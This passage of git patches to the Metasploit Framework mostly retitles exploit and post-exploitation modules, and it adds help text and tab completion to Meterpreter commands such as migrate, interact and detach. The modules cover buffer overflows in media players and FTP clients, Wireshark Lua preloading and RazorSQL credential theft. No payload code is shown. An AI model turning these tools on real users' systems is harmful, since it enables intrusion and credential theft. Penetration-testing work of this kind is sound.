=> 'CCMPlayer 1.5 m3u Playlist Stack Based Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow in CCMPlayer 1.5. Opening a m3u playlist with a long track name, a SEH exception record can be overwritten diff --git a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb index 75fb960c6b..b434d02df5 100644 --- a/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb +++ b/modules/exploits/windows/fileformat/free_mp3_ripper_wav.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Free MP3 CD Ripper 1.1 (WAV File) Stack Buffer Overflow', + 'Name' => 'Free MP3 CD Ripper 1.1 WAV File Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Free MP3 CD Ripper 1.1. The overflow is triggered when an unsuspecting user opens a malicious diff --git a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb index 360e846a8d..06d85f630e 100644 --- a/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb +++ b/modules/exploits/windows/fileformat/mini_stream_pls_bof.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 (PLS File) Stack Buffer Overflow', + 'Name' => 'Mini-Stream RM-MP3 Converter v3.1.2.1 PLS File Stack Buffer Overflow', 'Description' => %q{ This module exploits a stack based buffer overflow found in Mini-Stream RM-MP3 Converter v3.1.2.1. The overflow is triggered when an unsuspecting victim diff --git a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb index 60e0c41002..494ecf1247 100644 --- a/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb +++ b/modules/exploits/windows/ftp/absolute_ftp_list_bof.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'AbsoluteFTP 1.9.6 - 2.2.10 Remote Buffer Overflow (LIST)', + 'Name' => 'AbsoluteFTP 1.9.6 - 2.2.10 LIST Command Remote Buffer Overflow', 'Description' => %q{ This module exploits VanDyke Software AbsoluteFTP by overflowing a filename buffer related to the LIST command. diff --git a/modules/exploits/windows/ftp/servu_chmod.rb b/modules/exploits/windows/ftp/servu_chmod.rb index 11e9530787..21b109f174 100644 --- a/modules/exploits/windows/ftp/servu_chmod.rb +++ b/modules/exploits/windows/ftp/servu_chmod.rb @@ -19,7 +19,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'Serv-U FTP Server <4.2 Buffer Overflow', + 'Name' => 'Serv-U FTP Server < 4.2 Buffer Overflow', 'Description' => %q{ This module exploits a stack buffer overflow in the site chmod command in versions of Serv-U FTP Server prior to 4.2. diff --git a/modules/exploits/windows/misc/stream_down_bof.rb b/modules/exploits/windows/misc/stream_down_bof.rb index 519303e6a9..8f6bace521 100644 --- a/modules/exploits/windows/misc/stream_down_bof.rb +++ b/modules/exploits/windows/misc/stream_down_bof.rb @@ -14,7 +14,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info = {}) super(update_info(info, - 'Name' => 'StreamDown 6.8.0 Buffer overflow', + 'Name' => 'StreamDown 6.8.0 Buffer Overflow', 'Description' => %q{ Stream Down 6.8.0 seh based buffer overflow triggered when processing the server reponse packet.During the overflow a structured exception diff --git a/modules/exploits/windows/misc/wireshark_lua.rb b/modules/exploits/windows/misc/wireshark_lua.rb index e35ecebe50..b0decb5656 100644 --- a/modules/exploits/windows/misc/wireshark_lua.rb +++ b/modules/exploits/windows/misc/wireshark_lua.rb @@ -15,7 +15,7 @@ class Metasploit3 < Msf::Exploit::Remote def initialize(info={}) super(update_info(info, - 'Name' => "Wireshark console.lua pre-loading vulnerability", + 'Name' => "Wireshark console.lua Pre-Loading Script Execution", 'Description' => %q{ This modules exploits a vulnerability in Wireshark 1.6 or less. When opening a pcap file, Wireshark will actually check if there's a 'console.lua' file in the same @@ -335,4 +335,4 @@ But on a fully patched XP SP3, the same URI format will not work. Windows will t the share via SMB, and the victim will not see the share. In this case, you should specify the URI to like this: http://192.168.1.11/files -=end \ No newline at end of file +=end diff --git a/modules/post/windows/gather/credentials/razorsql.rb b/modules/post/windows/gather/credentials/razorsql.rb index 997ba1d52a..5df0918dc9 100644 --- a/modules/post/windows/gather/credentials/razorsql.rb +++ b/modules/post/windows/gather/credentials/razorsql.rb @@ -16,7 +16,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Gather RazorSQL credentials', + 'Name' => 'Windows Gather RazorSQL Credentials', 'Description' => %q{ This module stores username, password, type, host, port, database (and name) collected from profiles.txt of RazorSQL. @@ -154,4 +154,4 @@ end =begin http://www.razorsql.com/download.html Tested on: v5.6.2 (win32) -=end \ No newline at end of file +=end diff --git a/modules/post/windows/wlan/wlan_disconnect.rb b/modules/post/windows/wlan/wlan_disconnect.rb index 45050bf85e..abe3333a49 100644 --- a/modules/post/windows/wlan/wlan_disconnect.rb +++ b/modules/post/windows/wlan/wlan_disconnect.rb @@ -17,7 +17,7 @@ class Metasploit3 < Msf::Post def initialize(info={}) super( update_info( info, - 'Name' => 'Windows Disconnect Wireless Connection ', + 'Name' => 'Windows Disconnect Wireless Connection', 'Description' => %q{ This module disconnects the current wireless network connection on the specified interface. From 3857bef9f68a386fac521e26b6b2215fefeb6dc2 Mon Sep 17 00:00:00 2001 From: James Lee Date: Tue, 21 Feb 2012 10:07:27 -0700 Subject: [PATCH 5/6] Adds help and tabs for commands in meterpreter core --- .../ui/console/command_dispatcher/core.rb | 107 ++++++++++++++---- 1 file changed, 86 insertions(+), 21 deletions(-) diff --git a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb index 0a85d3ce1f..b1c14492eb 100644 --- a/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb +++ b/lib/rex/post/meterpreter/ui/console/command_dispatcher/core.rb @@ -109,7 +109,7 @@ class Console::CommandDispatcher::Core # Performs operations on the supplied channel. # def cmd_channel(*args) - if args.include?("-h") or args.include?("--help") + if args.empty? or args.include?("-h") or args.include?("--help") cmd_channel_help return end @@ -180,14 +180,35 @@ class Console::CommandDispatcher::Core end end + def cmd_channel_tabs(str, words) + case words.length + when 1 + @@channel_opts.fmt.keys + when 2 + case words[1] + when "-c", "-i", "-r", "-w" + tab_complete_channels + else + [] + end + else + [] + end + end + + def cmd_close_help + print_line "Usage: close " + print_line + print_line "Closes the supplied channel." + print_line + end + # # Closes a supplied channel. # def cmd_close(*args) if (args.length == 0) - print_line( - "Usage: close channel_id\n\n" + - "Closes the supplied channel.") + cmd_close_help return true end @@ -204,6 +225,12 @@ class Console::CommandDispatcher::Core end end + def cmd_close_tabs(str, words) + return [] if words.length > 1 + + return tab_complete_channels + end + # # Terminates the meterpreter session. # @@ -216,6 +243,17 @@ class Console::CommandDispatcher::Core alias cmd_quit cmd_exit + def cmd_detach_help + print_line "Detach from the victim. Only possible for non-stream sessions (http/https)" + print_line + print_line "The victim will continue to attempt to call back to the handler until it" + print_line "successfully connects (which may happen immediately if you have a handler" + print_line "running in the background), or reaches its expiration." + print_line + print_line "This session may #{client.passive_service ? "" : "NOT"} be detached." + print_line + end + # # Disconnects the session # @@ -228,14 +266,19 @@ class Console::CommandDispatcher::Core shell.stop end + def cmd_interact_help + print_line "Usage: interact " + print_line + print_line "Interacts with the supplied channel." + print_line + end + # # Interacts with a channel. # def cmd_interact(*args) if (args.length == 0) - print_line( - "Usage: interact channel_id\n\n" + - "Interacts with the supplied channel.") + cmd_info_help return true end @@ -251,6 +294,8 @@ class Console::CommandDispatcher::Core end end + alias cmd_interact_tabs cmd_close_tabs + # # Runs the IRB scripting shell # @@ -261,15 +306,20 @@ class Console::CommandDispatcher::Core Rex::Ui::Text::IrbShell.new(binding).run end + def cmd_migrate_help + print_line "Usage: migrate " + print_line + print_line "Migrates the server instance to another process." + print_line "NOTE: Any open channels or other dynamic state will be lost." + print_line + end + # # Migrates the server to the supplied process identifier. # def cmd_migrate(*args) if (args.length == 0) - print_line( - "Usage: migrate pid\n\n" + - "Migrates the server instance to another process.\n" + - "Note: Any open channels or other dynamic state will be lost.") + cmd_migrate_help return true end @@ -371,14 +421,19 @@ class Console::CommandDispatcher::Core alias cmd_use_help cmd_load_help alias cmd_use_tabs cmd_load_tabs + def cmd_read_help + print_line "Usage: read [length]" + print_line + print_line "Reads data from the supplied channel." + print_line + end + # # Reads data from a channel. # def cmd_read(*args) if (args.length == 0) - print_line( - "Usage: read channel_id [length]\n\n" + - "Reads data from the supplied channel.") + cmd_read_help return true end @@ -402,6 +457,8 @@ class Console::CommandDispatcher::Core return true end + alias cmd_read_tabs cmd_close_tabs + def cmd_run_help print_line "Usage: run